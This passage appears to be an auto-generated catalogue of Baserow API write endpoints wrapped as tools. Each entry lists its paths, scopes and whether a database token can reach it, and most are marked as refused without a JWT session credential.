Admin impersonate user This endpoint allows staff to impersonate another user by requesting a JWT token and user object. The requesting user must have staff access in order to do this. It's not possible to impersonate a superuser, staff or deactivated user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/users/impersonate/ POST /api/v1/baserow/api/admin/users/impersonate/. Scopes: api. baserow_post_api_ai_providers (write) — Create ai provider Pins authenticated realtime recovery reads to the primary database. Realtime refresh markers are emitted after a primary-database snapshot. Reading their replacement data from a lagging replica could otherwise restore stale state in the client. Authentication is deliberately completed before honoring the header so anonymous callers cannot opt arbitrary public reads into primary traffic. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/ai-providers/ POST /api/v1/baserow/api/ai-providers/. Scopes: api. baserow_post_api_ai_providers_by_provider_id_models (write) — Create ai provider model NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/ai-providers/{provider_id}/models/ POST /api/v1/baserow/api/ai-providers/{provider_id}/models/. Scopes: api. baserow_post_api_ai_providers_models_test (write) — Test ai provider models NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/ai-providers/models/test/ POST /api/v1/baserow/api/ai-providers/models/test/. Scopes: api. baserow_post_api_application_by_application_id_integrations (write) — Create application integration Creates a new integration NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/application/{application_id}/integrations/ POST /api/v1/baserow/api/application/{application_id}/integrations/. Scopes: api. baserow_post_api_application_by_application_id_user_sources (write) — Create application user source Creates a new user_source NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/application/{application_id}/user-sources/ POST /api/v1/baserow/api/application/{application_id}/user-sources/. Scopes: api. baserow_post_api_applications_by_application_id_duplicate_async (write) — Duplicate application async Duplicate an application if the authorized user is in the application's workspace. All the related children are also going to be duplicated. For example in case of a database application all the underlying tables, fields, views and rows are going to be duplicated. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/applications/{application_id}/duplicate/async/ POST /api/v1/baserow/api/applications/{application_id}/duplicate/async/. Scopes: api. baserow_post_api_applications_workspace_by_workspace_id (write) — Workspace create application Creates a new application based on the provided type. The newly created application is going to be added to the workspace related to the provided `workspace_id` parameter. If the authorized user does not belong to the workspace an error will be returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/applications/workspace/{workspace_id}/ POST /api/v1/baserow/api/applications/workspace/{workspace_id}/. Scopes: api. baserow_post_api_applications_workspace_by_workspace_id_order (write) — Workspace order applications Changes the order of the provided application ids to the matching position that the id has in the list. If the authorized user does not belong to the workspace it will be ignored. The order of the not provided tables will be set to `0`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/applications/workspace/{workspace_id}/order/ POST /api/v1/baserow/api/applications/workspace/{workspace_id}/order/. Scopes: api. baserow_post_api_audit_log_export (write) — Async audit log export (POST /api/audit-log/export/) Creates a job to export the filtered audit log to a CSV file. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/audit-log/export/ POST /api/v1/baserow/api/audit-log/export/. Scopes: api. baserow_post_api_automation_by_automation_id_workflows (write) — Create automation workflow Creates a new Automation Workflow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/{automation_id}/workflows/ POST /api/v1/baserow/api/automation/{automation_id}/workflows/. Scopes: api. baserow_post_api_automation_by_automation_id_workflows_order (write) — Order automation workflows Apply a new order to the workflows of an automation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/{automation_id}/workflows/order/ POST /api/v1/baserow/api/automation/{automation_id}/workflows/order/. Scopes: api. baserow_post_api_automation_node_by_node_id_duplicate (write) — Duplicate automation node Duplicate a node of a workflow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/node/{node_id}/duplicate/ POST /api/v1/baserow/api/automation/node/{node_id}/duplicate/. Scopes: api. baserow_post_api_automation_node_by_node_id_move (write) — Move automation node Move a node in a workflow to a new position. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/node/{node_id}/move/ POST /api/v1/baserow/api/automation/node/{node_id}/move/. Scopes: api. baserow_post_api_automation_node_by_node_id_replace (write) — Replace automation node Replace a node in a workflow with one of a new type. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/node/{node_id}/replace/ POST /api/v1/baserow/api/automation/node/{node_id}/replace/. Scopes: api. baserow_post_api_automation_node_by_node_id_simulate_dispatch (write) — Simulate dispatch automation node Simulate a dispatch for a node. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/node/{node_id}/simulate-dispatch/ POST /api/v1/baserow/api/automation/node/{node_id}/simulate-dispatch/. Scopes: api. baserow_post_api_automation_workflow_by_workflow_id_nodes (write) — Create automation node Creates a new automation workflow node NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/workflow/{workflow_id}/nodes/ POST /api/v1/baserow/api/automation/workflow/{workflow_id}/nodes/. Scopes: api. baserow_post_api_automation_workflows_by_workflow_id_duplicate_async (write) — Duplicate automation workflow async Start a job to duplicate the workflow with the provided `workflow_id` parameter if the authorized user has access to the automation's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/workflows/{workflow_id}/duplicate/async/ POST /api/v1/baserow/api/automation/workflows/{workflow_id}/duplicate/async/. Scopes: api. baserow_post_api_automation_workflows_by_workflow_id_publish_async (write) — Publish automation workflow This endpoint starts an asynchronous job to publish the automation workflow. The job clones the current version of the given automation and publishes it for the given workflow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/workflows/{workflow_id}/publish/async/ POST /api/v1/baserow/api/automation/workflows/{workflow_id}/publish/async/. Scopes: api. baserow_post_api_automation_workflows_by_workflow_id_test (write) — Test automation workflow This endpoint plan the execution of a test run for this workflow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/automation/workflows/{workflow_id}/test/ POST /api/v1/baserow/api/automation/workflows/{workflow_id}/test/. Scopes: api. baserow_post_api_builder_by_builder_id_domains (write) — Create builder domain Creates a new domain for an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/{builder_id}/domains/ POST /api/v1/baserow/api/builder/{builder_id}/domains/. Scopes: api. baserow_post_api_builder_by_builder_id_domains_order (write) — Order builder domains Apply a new order to the domains of a builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/{builder_id}/domains/order/ POST /api/v1/baserow/api/builder/{builder_id}/domains/order/. Scopes: api. baserow_post_api_builder_by_builder_id_pages (write) — Create builder page Creates a new page for an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/{builder_id}/pages/ POST /api/v1/baserow/api/builder/{builder_id}/pages/. Scopes: api. baserow_post_api_builder_by_builder_id_pages_order (write) — Order builder pages Apply a new order to the pages of a builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/{builder_id}/pages/order/ POST /api/v1/baserow/api/builder/{builder_id}/pages/order/. Scopes: api. baserow_post_api_builder_data_source_by_data_source_id_dispatch (write) — Dispatch builder page data source Dispatches the service of the related data_source and returns the result. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/data-source/{data_source_id}/dispatch/ POST /api/v1/baserow/api/builder/data-source/{data_source_id}/dispatch/. Scopes: api. baserow_post_api_builder_domains_by_domain_id_publish_async (write) — Publish builder domain This endpoint starts an asynchronous job to publish the builder. The job clones the current version of the given builder and publish it for the given domain. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/domains/{domain_id}/publish/async/ POST /api/v1/baserow/api/builder/domains/{domain_id}/publish/async/. Scopes: api. baserow_post_api_builder_domains_published_data_source_by_data_source_id_dispatch (write) — Dispatch public builder page data source Dispatches the service of the related data_source and returns the result. POST /api/builder/domains/published/data-source/{data_source_id}/dispatch/ POST /api/v1/baserow/api/builder/domains/published/data-source/{data_source_id}/dispatch/. Scopes: api. baserow_post_api_builder_domains_published_page_by_page_id_dispatch_data_sources (write) — Dispatch public builder page data sources Dispatches the service of the related page data_sources. POST /api/builder/domains/published/page/{page_id}/dispatch-data-sources/ POST /api/v1/baserow/api/builder/domains/published/page/{page_id}/dispatch-data-sources/. Scopes: api. baserow_post_api_builder_element_by_element_id_duplicate (write) — Duplicate builder page element Duplicates an element and all of the elements children and the associated workflow actions as well. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/element/{element_id}/duplicate/ POST /api/v1/baserow/api/builder/element/{element_id}/duplicate/. Scopes: api. baserow_post_api_builder_page_by_page_id_data_sources (write) — Create builder page data source Creates a new builder data_source NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/page/{page_id}/data-sources/ POST /api/v1/baserow/api/builder/page/{page_id}/data-sources/. Scopes: api. baserow_post_api_builder_page_by_page_id_dispatch_data_sources (write) — Dispatch builder page data sources Dispatches the service of the related page data_sources NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/page/{page_id}/dispatch-data-sources/ POST /api/v1/baserow/api/builder/page/{page_id}/dispatch-data-sources/. Scopes: api. baserow_post_api_builder_page_by_page_id_elements (write) — Create builder page element Creates a new builder element NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/page/{page_id}/elements/ POST /api/v1/baserow/api/builder/page/{page_id}/elements/. Scopes: api. baserow_post_api_builder_page_by_page_id_workflow_actions (write) — Create builder page workflow action Creates a new builder workflow action NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/page/{page_id}/workflow_actions/ POST /api/v1/baserow/api/builder/page/{page_id}/workflow_actions/. Scopes: api. baserow_post_api_builder_page_by_page_id_workflow_actions_order (write) — Order builder workflow actions Apply a new order to the workflow actions of a page NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/page/{page_id}/workflow_actions/order/ POST /api/v1/baserow/api/builder/page/{page_id}/workflow_actions/order/. Scopes: api. baserow_post_api_builder_pages_by_page_id_duplicate_async (write) — Duplicate builder page async Start a job to duplicate the page with the provided `page_id` parameter if the authorized user has access to the builder's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/pages/{page_id}/duplicate/async/ POST /api/v1/baserow/api/builder/pages/{page_id}/duplicate/async/. Scopes: api. baserow_post_api_builder_preview_by_builder_id_grant (write) — Create builder preview grant Start the preview process for a logged-in editor. This is the only step that uses the editor's normal account login. It makes sure the editor may read the requested builder before issuing a temporary preview pass. The returned URL is then opened by the browser to continue with :class:`BuilderPreviewExchangeView`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/builder/preview/{builder_id}/grant/ POST /api/v1/baserow/api/builder/preview/{builder_id}/grant/. Scopes: api. baserow_post_api_builder_preview_handoff (write) — Exchange builder preview handoff Let the preview Nuxt server consume an opaque one-time handoff code. POST /api/builder/preview/handoff/ POST /api/v1/baserow/api/builder/preview/handoff/. Scopes: api. baserow_post_api_builder_workflow_action_by_workflow_action_id_dispatch (write) — Dispatch builder page workflow action Dispatches the service of the related workflow_action and returns the result. POST /api/builder/workflow_action/{workflow_action_id}/dispatch/ POST /api/v1/baserow/api/builder/workflow_action/{workflow_action_id}/dispatch/. Scopes: api. baserow_post_api_dashboard_by_dashboard_id_widgets (write) — Create dashboard widget Creates a new dashboard widget NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/dashboard/{dashboard_id}/widgets/ POST /api/v1/baserow/api/dashboard/{dashboard_id}/widgets/. Scopes: api. baserow_post_api_dashboard_data_sources_by_data_source_id_dispatch (write) — Dispatch dashboard data source Dispatches the service of the related data source and returns the result. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/dashboard/data-sources/{data_source_id}/dispatch/ POST /api/v1/baserow/api/dashboard/data-sources/{data_source_id}/dispatch/. Scopes: api. baserow_post_api_database_admin_views_by_view_id_rotate_slug (write) — Admin rotate database view slug Rotates the slug of the specified view, permanently invalidating the current public URL, if the requesting user is staff. This works even if the requesting user is not a member of the workspace the view belongs to. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/admin/views/{view_id}/rotate-slug/ POST /api/v1/baserow/api/database/admin/views/{view_id}/rotate-slug/. Scopes: api. baserow_post_api_database_data_sync_by_data_sync_id_sync_async (write) — Sync data sync table async Start a job to sync the data sync table with the provided `data_sync_id` parameter if the authorized user has access to the database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/data-sync/{data_sync_id}/sync/async/ POST /api/v1/baserow/api/database/data-sync/{data_sync_id}/sync/async/. Scopes: api. baserow_post_api_database_data_sync_database_by_database_id (write) — Create database data sync table Creates a new data sync table with the given data sync type. This will technically create a table, but it's synchronized with the provided data sync information. This means that some fields related to it will automatically be created and will be read-only. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/data-sync/database/{database_id}/ POST /api/v1/baserow/api/database/data-sync/database/{database_id}/. Scopes: api. baserow_post_api_database_data_sync_database_by_database_id_properties (write) — Get table data sync type properties Lists all the properties of the provided data sync type given the request data. This can be used to choose which properties should be included when creating the data sync. The user must have create table permissions in the database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/data-sync/database/{database_id}/properties/ POST /api/v1/baserow/api/database/data-sync/database/{database_id}/properties/. Scopes: api. baserow_post_api_database_export_table_by_table_id (write) — Export table Creates and starts a new export job for a table given some exporter options. Returns an error if the requesting user does not have permissionsto view the table. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/export/table/{table_id}/ POST /api/v1/baserow/api/database/export/table/{table_id}/. Scopes: api. baserow_post_api_database_field_by_field_id_workflow_actions (write) — Create database field workflow action Creates a new database workflow action. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/field/{field_id}/workflow_actions/ POST /api/v1/baserow/api/database/field/{field_id}/workflow_actions/. Scopes: api. baserow_post_api_database_field_by_field_id_workflow_actions_dispatch (write) — Dispatch database field workflow actions Runs every workflow action of a button field, in order, for the given row, and returns one result per action. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/field/{field_id}/workflow_actions/dispatch/ POST /api/v1/baserow/api/database/field/{field_id}/workflow_actions/dispatch/. Scopes: api. baserow_post_api_database_field_by_field_id_workflow_actions_order (write) — Order database field workflow actions Apply a new order to the workflow actions of a button field. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/field/{field_id}/workflow_actions/order/ POST /api/v1/baserow/api/database/field/{field_id}/workflow_actions/order/. Scopes: api. baserow_post_api_database_field_rules_by_table_id (write) — Create field rule Create a field rule for a table NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/field-rules/{table_id}/ POST /api/v1/baserow/api/database/field-rules/{table_id}/. Scopes: api. baserow_post_api_database_fields_by_field_id_duplicate_async (write) — Duplicate table field Duplicates the table with the provided `table_id` parameter if the authorized user has access to the database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/fields/{field_id}/duplicate/async/ POST /api/v1/baserow/api/database/fields/{field_id}/duplicate/async/. Scopes: api. baserow_post_api_database_fields_by_field_id_generate_ai_field_values (write) — Generate table ai field value Endpoint that's used by the AI field to start an sync task that will update the cell value of the provided row IDs based on the dynamically constructed prompt configured in the field settings. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/fields/{field_id}/generate-ai-field-values/ POST /api/v1/baserow/api/database/fields/{field_id}/generate-ai-field-values/. Scopes: api. baserow_post_api_database_fields_password_authentication (write) — Password field authentication Checks if the provided password and row matches what is stored in the cell. The field must have `allow_endpoint_authentication` set to `true` in order to work. POST /api/database/fields/password-authentication/ POST /api/v1/baserow/api/database/fields/password-authentication/. Scopes: read. baserow_post_api_database_fields_table_by_table_id (write) — Create database table field Creates a new field for the table related to the provided `table_id` parameter if the authorized user has access to the related database's workspace. Depending on the type, different properties can optionally be set.If creating the field causes other fields to change then the specificinstances of those fields will be included in the related fields response key. NOT REACHABLE with a Baserow database token: its view checks a `field_create` permission no token can hold, so this tool is refused before the request is made. POST /api/database/fields/table/{table_id}/ POST /api/v1/baserow/api/database/fields/table/{table_id}/. Scopes: api. baserow_post_api_database_fields_table_by_table_id_change_primary_field (write) — Change primary field Changes the primary field of a table to the one provided in the body payload. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/fields/table/{table_id}/change-primary-field/ POST /api/v1/baserow/api/database/fields/table/{table_id}/change-primary-field/. Scopes: api. baserow_post_api_database_fields_table_by_table_id_generate_ai_formula (write) — Generate formula with ai This endpoint generates a Baserow formula for the table related to the provided id, based on the human readable input provided in the request body. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/fields/table/{table_id}/generate-ai-formula/ POST /api/v1/baserow/api/database/fields/table/{table_id}/generate-ai-formula/. Scopes: api. baserow_post_api_database_formula_by_table_id_type (write) — Type formula field Calculates and returns the type of the specified formula value. Does not change the state of the field in any way. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/formula/{table_id}/type/ POST /api/v1/baserow/api/database/formula/{table_id}/type/. Scopes: api. baserow_post_api_database_rows_table_by_table_id (write) — Create database table row Creates a new row in the table if the user has access to the related table's workspace. The accepted body fields are depending on the fields that the table has. For a complete overview of fields use the **list_database_table_fields** to list them all. None of the fields are required, if they are not provided the value is going to be `null` or `false` or some default value is that is set. If you want to add a value for the field with for example id `10`, the key must be named `field_10`. Or instead if the `user_field_names` GET param is provided the key must be the name of the field. Of course multiple fields can be provided in one request. In the examples below you will find all the different field types, the numbers/ids in the example are just there for example purposes, the field_ID must be replaced with the actual id of the field or the name of the field if `user_field_names` is provided. POST /api/database/rows/table/{table_id}/ POST /api/v1/baserow/api/database/rows/table/{table_id}/. Scopes: create. baserow_post_api_database_rows_table_by_table_id_batch (write) — Batch create database table rows Creates new rows in the table if the user has access to the related table's workspace. The accepted body fields are depending on the fields that the table has. For a complete overview of fields use the **list_database_table_fields** to list them all. None of the fields are required, if they are not provided the value is going to be `null` or `false` or some default value is that is set. If you want to add a value for the field with for example id `10`, the key must be named `field_10`. Or instead if the `user_field_names` GET param is provided the key must be the name of the field. Of course multiple fields can be provided in one request. In the examples below you will find all the different field types, the numbers/ids in the example are just there for example purposes, the field_ID must be replaced with the actual id of the field or the name of the field if `user_field_names` is provided. **WARNING:** This endpoint doesn't yet work with row created webhooks. POST /api/database/rows/table/{table_id}/batch/ POST /api/v1/baserow/api/database/rows/table/{table_id}/batch/. Scopes: create. baserow_post_api_database_rows_table_by_table_id_batch_delete (write) — Batch delete database table rows Deletes existing rows in the table if the user has access to the table's workspace. **WARNING:** This endpoint doesn't yet work with row deleted webhooks. POST /api/database/rows/table/{table_id}/batch-delete/ POST /api/v1/baserow/api/database/rows/table/{table_id}/batch-delete/. Scopes: delete. baserow_post_api_database_tables_by_table_id_duplicate_async (write) — Duplicate database table async Start a job to duplicate the table with the provided `table_id` parameter if the authorized user has access to the database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tables/{table_id}/duplicate/async/ POST /api/v1/baserow/api/database/tables/{table_id}/duplicate/async/. Scopes: api. baserow_post_api_database_tables_by_table_id_import_async (write) — Import data database table async Import data in the specified table if the authorized user has access to the related database's workspace. This endpoint is asynchronous and return the created job to track the progress of the task. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tables/{table_id}/import/async/ POST /api/v1/baserow/api/database/tables/{table_id}/import/async/. Scopes: api. baserow_post_api_database_tables_database_by_database_id (write) — Create database table Creates synchronously a new table for the database related to the provided `database_id` parameter if the authorized user has access to the database's workspace. As an alternative you can use the `create_async_database_table` for better performances and importing bigger files. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tables/database/{database_id}/ POST /api/v1/baserow/api/database/tables/database/{database_id}/. Scopes: api. baserow_post_api_database_tables_database_by_database_id_async (write) — Create database table async Creates a job that creates a new table for the database related to the provided `database_id` parameter if the authorized user has access to the database's workspace. This endpoint is asynchronous and return the created job to track the progress of the task. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tables/database/{database_id}/async/ POST /api/v1/baserow/api/database/tables/database/{database_id}/async/. Scopes: api. baserow_post_api_database_tables_database_by_database_id_order (write) — Order database tables Changes the order of the provided table ids to the matching position that the id has in the list. If the authorized user does not belong to the workspace it will be ignored. The order of the not provided tables will be set to `0`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tables/database/{database_id}/order/ POST /api/v1/baserow/api/database/tables/database/{database_id}/order/. Scopes: api. baserow_post_api_database_tokens (write) — Create database token Creates a new database token for a given workspace and for the authorized user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/tokens/ POST /api/v1/baserow/api/database/tokens/. Scopes: api. baserow_post_api_database_view_by_slug_export_public_view (write) — Export publicly shared view Creates and starts a new export job for a publicly shared view given some exporter options. Returns an error if the view doesn't support exporting. This is a **premium** feature. POST /api/database/view/{slug}/export-public-view/ POST /api/v1/baserow/api/database/view/{slug}/export-public-view/. Scopes: api. baserow_post_api_database_views_by_slug_public_auth (write) — Public view token auth Returns a valid never-expiring JWT token for this public shared view if the password provided matches with the one saved by the view's owner. POST /api/database/views/{slug}/public/auth/ POST /api/v1/baserow/api/database/views/{slug}/public/auth/. Scopes: api. baserow_post_api_database_views_by_view_id_copy_configuration (write) — Copy database table view configuration Copies the requested configuration categories, the filters or sorts for example, of another view in the same table into this view, replacing this view's existing configuration of those categories. Only categories supported by both view types can be copied. The whole copy can be reverted with a single undo. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/copy-configuration/ POST /api/v1/baserow/api/database/views/{view_id}/copy-configuration/. Scopes: api. baserow_post_api_database_views_by_view_id_decorations (write) — Create database table view decoration Creates a new decoration for the view related to the provided `view_id` parameter if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/decorations/ POST /api/v1/baserow/api/database/views/{view_id}/decorations/. Scopes: api. baserow_post_api_database_views_by_view_id_duplicate (write) — Duplicate database table view Duplicates an existing view if the user has access to it. When a view is duplicated everything is copied except: - The name is appended with the copy number. Ex: `ViewName`->`ViewName(2)` and `View(2)`->`View(3)` - If the original view is publicly shared, the new view will not be shared anymore NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/duplicate/ POST /api/v1/baserow/api/database/views/{view_id}/duplicate/. Scopes: api. baserow_post_api_database_views_by_view_id_filter_groups (write) — Create database table view filter group Creates a new filter group for the view related to the provided `view_id` parameter. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/filter-groups/ POST /api/v1/baserow/api/database/views/{view_id}/filter-groups/. Scopes: api. baserow_post_api_database_views_by_view_id_filters (write) — Create database table view filter Creates a new filter for the view related to the provided `view_id` parameter. When the rows of a view are requested, for example via the `list_database_table_grid_view_rows` endpoint, then only the rows that apply to all the filters are going to be returned. A filter compares the value of a field to the value of a filter. It depends on the type how values are going to be compared. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/filters/ POST /api/v1/baserow/api/database/views/{view_id}/filters/. Scopes: api. baserow_post_api_database_views_by_view_id_group_bys (write) — Create database table view group Creates a new group by for the view related to the provided `view_id` parameter if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/group_bys/ POST /api/v1/baserow/api/database/views/{view_id}/group_bys/. Scopes: api. baserow_post_api_database_views_by_view_id_group_bys_prioritize (write) — Prioritize database table view group bys Updates the priority of the provided view group by ids to the matching position that the id has in the list. The group by with the lowest position in the list is applied first when ordering rows. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/group_bys/prioritize/ POST /api/v1/baserow/api/database/views/{view_id}/group_bys/prioritize/. Scopes: api. baserow_post_api_database_views_by_view_id_rotate_slug (write) — Rotate database view slug Rotates the unique slug of the view by replacing it with a new value. This would mean that the publicly shared URL of the view will change. Anyone with the old URL won't be able to access the viewanymore. Only view types which are sharable can have their slugs rotated. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/rotate-slug/ POST /api/v1/baserow/api/database/views/{view_id}/rotate-slug/. Scopes: api. baserow_post_api_database_views_by_view_id_sortings (write) — Create database table view sort Creates a new sort for the view related to the provided `view_id` parameter if the authorized user has access to the related database's workspace. When the rows of a view are requested, for example via the `list_database_table_grid_view_rows` endpoint, they will be returned in the respected order defined by all the sortings. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/sortings/ POST /api/v1/baserow/api/database/views/{view_id}/sortings/. Scopes: api. baserow_post_api_database_views_by_view_id_sortings_prioritize (write) — Prioritize database table view sortings Updates the priority of the sorts to match the order of the given IDs. Sorts earlier in the list are applied first. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/{view_id}/sortings/prioritize/ POST /api/v1/baserow/api/database/views/{view_id}/sortings/prioritize/. Scopes: api. baserow_post_api_database_views_calendar_by_view_id_ical_slug_rotate (write) — Rotate calendar view ical feed slug Rotates the unique slug of the calendar view's ical feed by replacing it with a new value. This would mean that the publicly shared URL of the view will change. Anyone with the old URL won't be able to access the view anymore. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/calendar/{view_id}/ical_slug_rotate/ POST /api/v1/baserow/api/database/views/calendar/{view_id}/ical_slug_rotate/. Scopes: api. baserow_post_api_database_views_form_by_slug_submit (write) — Submit database table form view Submits the form if the form is publicly shared or if the user has access to the related workspace. The provided data will be validated based on the fields that are in the form and the rules per field. If valid, a new row will be created in the table. POST /api/database/views/form/{slug}/submit/ POST /api/v1/baserow/api/database/views/form/{slug}/submit/. Scopes: api. baserow_post_api_database_views_form_by_slug_upload_file (write) — Upload file form view Uploads a file anonymously to Baserow by uploading the file contents directly. A `file` multipart is expected containing the file contents. POST /api/database/views/form/{slug}/upload-file/ POST /api/v1/baserow/api/database/views/form/{slug}/upload-file/. Scopes: api. baserow_post_api_database_views_grid_by_view_id (write) — Filter database table grid view rows Lists only the rows and fields that match the request. Only the rows with the ids that are in the `row_ids` list are going to be returned. Same goes for the fields, only the fields with the ids in the `field_ids` are going to be returned. This endpoint could be used to refresh data after changes something. For example in the web frontend after changing a field type, the data of the related cells will be refreshed using this endpoint. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/grid/{view_id}/ POST /api/v1/baserow/api/database/views/grid/{view_id}/. Scopes: api. baserow_post_api_database_views_table_by_table_id (write) — Create database table view Creates a new view for the table related to the provided `table_id` parameter. Depending on the type, different properties can optionally be set. NOT REACHABLE with a 